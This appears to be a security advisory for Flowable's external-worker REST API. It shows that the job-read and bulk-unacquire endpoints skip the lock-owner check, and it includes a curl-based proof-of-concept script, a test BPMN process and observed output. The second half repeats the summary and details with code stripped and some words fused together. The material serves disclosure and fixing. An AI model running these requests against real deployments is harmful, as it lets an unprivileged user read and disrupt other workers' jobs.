Summary
The external-worker REST API does not bind job reads or bulk unacquire to the authenticated principal, so a non-admin caller can read another worker's locked job and release its lock by naming that worker's id.
Details
Job read. In
modules/flowable-external-job-rest/src/main/java/org/flowable/external/job/rest/service/api/query/ExternalWorkerJobResource.java,
the getExternalWorkerJob handler (declared at line 47) resolves the job and returns it with no
ownership check at all:
@GetMapping(value = "/jobs/{jobId}", produces = "application/json")
public ExternalWorkerJobResponse getExternalWorkerJob(@PathVariable String jobId) {
ExternalWorkerJob job = getExternalWorkerJobById(jobId); // line 48
return restResponseFactory.createExternalWorkerJobResponse(job);
}
The response factory serializes the job's lock owner and process metadata — lockOwner,
processInstanceId, executionId, retries and the other fields declared by
ExternalWorkerJobResponse; that read DTO has no variables field, and variables are added only to
the acquire response (AcquiredExternalWorkerJobResponse).
Bulk unacquire. In
.../service/api/acquire/ExternalWorkerUnacquireJobResource.java, the bulk handler accepts a
workerId from the request body and passes it straight to the engine (line 60):
@PostMapping(value = "/unacquire/jobs", produces = "application/json")
public ResponseEntity<?> unacquireJobs(@RequestBody UnacquireExternalWorkerJobsRequest request) {
if (restApiInterceptor != null) {
restApiInterceptor.accessUnacquireExternalWorkerJobs(request);
}
if (StringUtils.isEmpty(request.getWorkerId())) {
throw new FlowableIllegalArgumentException("worker id is required");
}
unaquireExternalWorkerJobs(request.getWorkerId(), request.getTenantId()); // line 60
and the helper calls the engine for that worker id (lines 119-128):
managementService.unacquireAllExternalWorkerJobsForWorker(workerId, tenantId);
...
managementService.unacquireAllExternalWorkerJobsForWorker(workerId);
There is no comparison with the authenticated principal and no lock-owner check: the endpoint
releases the locks of whichever worker id the caller names.
The sibling path that does enforce the rule. The single-job unacquire handler in the same file
declares the same HTTP 403 response and implements the check at lines 79-81:
ExternalWorkerJob job = getExternalWorkerJobById(jobId); // line 79
if (!workerId.equals(job.getLockOwner())) { // line 81
throw new FlowableForbiddenException(workerId + " does not hold a lock on the requested job");
}
and the acquire/complete family applies the same predicate at
ExternalWorkerAcquireJobResource.java:107-109 (complete), :159-161 (bpmnError),
:199-201 (cmmnTerminate) and :239-241 (fail). The read path and the bulk path are the
outliers, which is what makes the omission clear.
Reproduction
pocExternalWorker.bpmn20.xml is the external-worker process the script deploys
(flowable:type="external-worker", flowable:topic="pocTopic")
<?xml version="1.0" encoding="UTF-8"?>
<definitions xmlns="http://www.omg.org/spec/BPMN/20100524/MODEL"
xmlns:flowable="http://flowable.org/bpmn"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
targetNamespace="http://flowable.org/poc">
<process id="pocExternalWorker" name="PoC External Worker" isExecutable="true">
<startEvent id="theStart"/>
<sequenceFlow id="flow1" sourceRef="theStart" targetRef="externalWorkerTask"/>
<serviceTask id="externalWorkerTask" name="External worker task"
flowable:type="external-worker" flowable:topic="pocTopic"/>
<sequenceFlow id="flow2" sourceRef="externalWorkerTask" targetRef="theEnd"/>
<endEvent id="theEnd"/>
</process>
</definitions>
The decisive requests from poc_external_job_lock.sh (the script's banner, need checks and
output-file bookkeeping are elided; curl and python3 are required):
#!/usr/bin/env bash
# Decisive requests from poc_external_job_lock.sh (full script elided: banner/need checks/output files).
set -uo pipefail
POCDIR="$(cd "$(dirname "$0")" && pwd)"
BASE_URL="${BASE_URL:-http://127.0.0.1:8080/flowable-rest}"
AUTH=(-u "$REST_USER:$REST_PASSWORD") # the non-admin attacker account
VICTIM_AUTH=(-u "$VICTIM_USER:$VICTIM_PASSWORD")
OUT="$POCDIR/out"; mkdir -p "$OUT"
VICTIM_WORKER="${VICTIM_WORKER:-victim-worker}" # a caller-declared string, not an identity
TOPIC="${TOPIC:-pocTopic}"
json() { python3 -c 'import json,sys; d=json.load(open(sys.argv[1])); print(eval(sys.argv[2], {"d": d}))' "$1" "$2"; }
# 1. deploy the external-worker process (201)
curl -sS -o "$OUT/poc-01-deploy.json" -w 'deploy -> %{http_code}\n' \
-F "file=@$POCDIR/pocExternalWorker.bpmn20.xml" \
"${AUTH[@]}" "$BASE_URL/service/repository/deployments"
# 2. start the process as the victim (201)
curl -sS -o "$OUT/poc-02-start.json" -w 'start -> %{http_code}\n' \
-H 'Content-Type: application/json' \
-d '{"processDefinitionKey":"pocExternalWorker"}' \
"${VICTIM_AUTH[@]}" "$BASE_URL/service/runtime/process-instances"
PROCESS_INSTANCE_ID=$(json "$OUT/poc-02-start.json" 'd.get("id")')
# 3. the victim's worker acquires the job (200; lockOwner=victim-worker)
curl -sS -o "$OUT/poc-03-acquire.json" -w 'acquire -> %{http_code}\n' \
-H 'Content-Type: application/json' \
-d "{\"workerId\":\"$VICTIM_WORKER\",\"topic\":\"$TOPIC\"}" \
"${VICTIM_AUTH[@]}" "$BASE_URL/external-job-api/acquire/jobs"
JOB_ID=$(json "$OUT/poc-03-acquire.json" 'd[0].get("id") if isinstance(d, list) and d else d.get("id")')
# 4. the attacker reads the victim's locked job (200, with that lockOwner)
curl -sS -o "$OUT/poc-04-read.json" -w 'read -> %{http_code}\n' \
"${AUTH[@]}" "$BASE_URL/external-job-api/jobs/$JOB_ID"
# 5. control: the guarded complete path rejects the attacker (403)
curl -sS -o "$OUT/poc-05-complete.json" -w 'complete -> %{http_code}\n' \
-H 'Content-Type: application/json' \
-d "{\"workerId\":\"$REST_USER\"}" \
"${AUTH[@]}" "$BASE_URL/external-job-api/acquire/jobs/$JOB_ID/complete"
# 6. the attacker releases the victim's lock through the bulk unacquire (204; lockOwner becomes null)
curl -sS -o "$OUT/poc-06-unacquire.txt" -w 'bulk unacquire -> %{http_code}\n' \
-H 'Content-Type: application/json' \
-d "{\"workerId\":\"$VICTIM_WORKER\"}" \
"${AUTH[@]}" "$BASE_URL/external-job-api/unacquire/jobs"
curl -sS "${AUTH[@]}" "$BASE_URL/external-job-api/jobs/$JOB_ID" \
| python3 -c 'import json,sys; print("lockOwner after unacquire:", json.load(sys.stdin).get("lockOwner"))'
# 7. control: an unrelated worker id has no effect on the lock
curl -sS -o "$OUT/poc-07-reacquire.json" -w 're-acquire -> %{http_code}\n' \
-H 'Content-Type: application/json' \
-d "{\"workerId\":\"$VICTIM_WORKER\",\"topic\":\"$TOPIC\"}" \
"${VICTIM_AUTH[@]}" "$BASE_URL/external-job-api/acquire/jobs"
curl -sS -o /dev/null -w 'unacquire nobody -> %{http_code}\n' \
-H 'Content-Type: application/json' \
-d '{"workerId":"nobody"}' \
"${AUTH[@]}" "$BASE_URL/external-job-api/unacquire/jobs"
curl -sS "${AUTH[@]}" "$BASE_URL/external-job-api/jobs/$JOB_ID" \
| python3 -c 'import json,sys; print("lockOwner after the unrelated control:", json.load(sys.stdin).get("lockOwner"))'
Prerequisites.
- A disposable local Flowable instance built from the assessed revision, started on port 8080
with the context path /flowable-rest; the embedded H2 database is sufficient.
curl and python3.
- A victim account (the account that starts the process) and a non-admin attacker account holding
only access-rest-api.
- A worker id for the victim's worker, a caller-declared string (
victim-worker in the run).
Environment variables and run.
BASE_URL=http://127.0.0.1:8080/flowable-rest \
REST_USER=attacker REST_PASSWORD='<attacker password>' \
VICTIM_USER=victim VICTIM_PASSWORD='<victim password>' \
VICTIM_WORKER=victim-worker \
./poc_external_job_lock.sh
Observed result
Observed output from the validation run, in condensed form:
victim -> POST /flowable-rest/external-job-api/acquire/jobs {workerId:victim-worker} -> 200
job {"lockOwner":"victim-worker","lockExpirationTime":"..."}
attacker -> GET /flowable-rest/external-job-api/jobs/{jobId} -> 200
{"lockOwner":"victim-worker","processInstanceId":...,"executionId":...,"retries":3,...}
attacker -> POST /flowable-rest/external-job-api/acquire/jobs/{jobId}/complete {workerId:attacker}
-> 403
{"message":"Forbidden","exception":"attacker does not hold a lock on the requested job"}
attacker -> POST /flowable-rest/external-job-api/unacquire/jobs {workerId:victim-worker} -> 204
job afterwards: "lockOwner": null
attacker -> POST /flowable-rest/external-job-api/unacquire/jobs {workerId:nobody} -> 204
the same job (re-acquired by victim-worker2) still locked: "lockOwner":"victim-worker2" (control)
reader -> GET /flowable-rest/external-job-api/jobs/{jobId} -> 200 {"lockOwner":"victim-worker3"} (independent account)
reader -> POST /flowable-rest/external-job-api/unacquire/jobs {workerId:victim-worker3} -> 204
unauthenticated GET /flowable-rest/external-job-api/jobs/{jobId} -> 401 (control)
Summary
The external-worker REST API does not bind job reads or bulk unacquire to the authenticated principal, so a non-admin caller can read another worker's locked job and release its lock by naming that worker's id.
Details
Job read. In
modules/flowable-external-job-rest/src/main/java/org/flowable/external/job/rest/service/api/query/ExternalWorkerJobResource.java,the
getExternalWorkerJobhandler (declared at line 47) resolves the job and returns it with noownership check at all:
The response factory serializes the job's lock owner and process metadata —
lockOwner,processInstanceId,executionId,retriesand the other fields declared byExternalWorkerJobResponse; that read DTO has no variables field, and variables are added only tothe acquire response (
AcquiredExternalWorkerJobResponse).Bulk unacquire. In
.../service/api/acquire/ExternalWorkerUnacquireJobResource.java, the bulk handler accepts aworkerIdfrom the request body and passes it straight to the engine (line 60):and the helper calls the engine for that worker id (lines 119-128):
There is no comparison with the authenticated principal and no lock-owner check: the endpoint
releases the locks of whichever worker id the caller names.
The sibling path that does enforce the rule. The single-job unacquire handler in the same file
declares the same HTTP 403 response and implements the check at lines 79-81:
and the acquire/complete family applies the same predicate at
ExternalWorkerAcquireJobResource.java:107-109(complete),:159-161(bpmnError),:199-201(cmmnTerminate) and:239-241(fail). The read path and the bulk path are theoutliers, which is what makes the omission clear.
Reproduction
pocExternalWorker.bpmn20.xmlis the external-worker process the script deploys(
flowable:type="external-worker",flowable:topic="pocTopic")The decisive requests from
poc_external_job_lock.sh(the script's banner,needchecks andoutput-file bookkeeping are elided;
curlandpython3are required):Prerequisites.
with the context path
/flowable-rest; the embedded H2 database is sufficient.curlandpython3.only
access-rest-api.victim-workerin the run).Environment variables and run.
Observed result
Observed output from the validation run, in condensed form: